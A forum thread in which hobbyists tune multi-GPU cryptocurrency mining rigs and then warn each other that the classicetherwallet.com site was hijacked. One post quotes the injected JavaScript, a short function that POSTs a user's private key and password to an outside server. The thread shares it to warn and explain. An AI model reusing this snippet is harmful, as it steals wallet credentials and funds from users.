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  • Got 3 980s and a 970 in the miner PC now and I seem to have issues with Genoil, it either doesnt detect all of the cards or does but crashes about 10 seconds after opening
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    • Which card doesn't it detect? Is it random?
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      • Awesome, Kev! Glad to see that you got it working at last. Is it worth running at 1250 over 1140 or thereabouts? The hash shouldn't drop by much but you could save a fair bit on power.

        On the 480s here, going from 1140 to 1200 alone adds almost another 100w over 6 cards. It's not worth it for the extra 0.5 (max) MH/s that it kicks out.
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        • Still looking into it, tried using claymores to see if that works and looks like it isnt detecting a 980 and doesnt like the 970 in there.


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          • Are they all properly detected in device manager?
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            • Originally posted by TheMadDutchDude View Post
              Awesome, Kev! Glad to see that you got it working at last. Is it worth running at 1250 over 1140 or thereabouts? The hash shouldn't drop by much but you could save a fair bit on power.

              On the 480s here, going from 1140 to 1200 alone adds almost another 100w over 6 cards. It's not worth it for the extra 0.5 (max) MH/s that it kicks out.
              Dropped from 29.4 to 28.7 and 28 to 27.6 which is roughly 1 MH only saved 20w across 2 cards. https://www.cryptocompare.com/mining...ostPerkWh=0.10 won't miss much per day, but does add up over time.

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              • Originally posted by TheMadDutchDude View Post
                Are they all properly detected in device manager?
                Yup, I reinstalled the driver too.

                I've just taken the 970 out and its working as normal again, I guess it didnt like me mixing and matching cards like that
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                • Definite improvement with tweaking cards to the limit


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                  • Originally posted by BigIan88 View Post
                    Yup, I reinstalled the driver too.

                    I've just taken the 970 out and its working as normal again, I guess it didnt like me mixing and matching cards like that
                    Claymore works fine with 1080ti and 980ti mixed.

                    Latest nVidia drivers now mean my 980ti doesn't rely on core speed as much (thankfully) so I've dropped from 550w to 475w and gained a couple of hashes in the process, getting nearly 35Mh out of the 1080ti now.
                    Last edited by omega; 29-06-17, 22:09.
                    Originally posted by coiler
                    He'll have the local FBI round his house with all that hash!
                    Originally posted by BigIan88
                    turn off that sexy nonsense
                    Originally posted by Salad Soup
                    turns out if you touch a stripper too much and try and get back in after being kicked out, they dont like that!

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                    • Who here is using classicetherwallet.com it's been hijacked they stole bunch of peoples private wallet keys. Stay clear of it. People lost lot of money/coins.





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                      • The website or the extension?
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                        • Originally posted by BigIan88 View Post
                          The website or the extension?
                          Believe actual website was hijacked, cloudflare is warning people to stay clear. https://mobile.twitter.com/myetherwa...02586025385984

                          https://www.reddit.com/r/EthereumCla...been_hijacked/

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                          • So the extension is safe?

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                            • Originally posted by Jackster View Post
                              So the extension is safe?
                              Dunno sounds like whoever hijacked it made a script, which logged everyone logging their wallet?

                              This is the malicious code on classicetherwallet.com:Wallet.sendData = function (input, password) {
                              var http = new XMLHttpRequest();
                              var url = "https://api.classicetherwallet.com/api";

                              var json = {
                              'key': input,
                              'password': password,
                              }

                              http.open("POST", url, true);
                              http.send(JSON.stringify(json)); };

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                              • Ah Okay I see what they are doing.

                                So it is just social engineering with this. They get you to type in your private key which then allows them to access your ETC.
                                As long as you don't type in your private key into their site you are fine.



                                From the looks of it these sites allow you to create wallets where the keys are stored on your PC but they act as the wallet, them being a node of the network.

                                You then submit your wallet info to them so you can send coin.

                                So the extension stores everything locally as it runs the code locally not remotely.
                                Doesn't mean it can't be hijacked though.

                                Probably going to still move my wallet. Didn't want to use the extension but was running low on time


                                TLDR; Don't trust the middle man...

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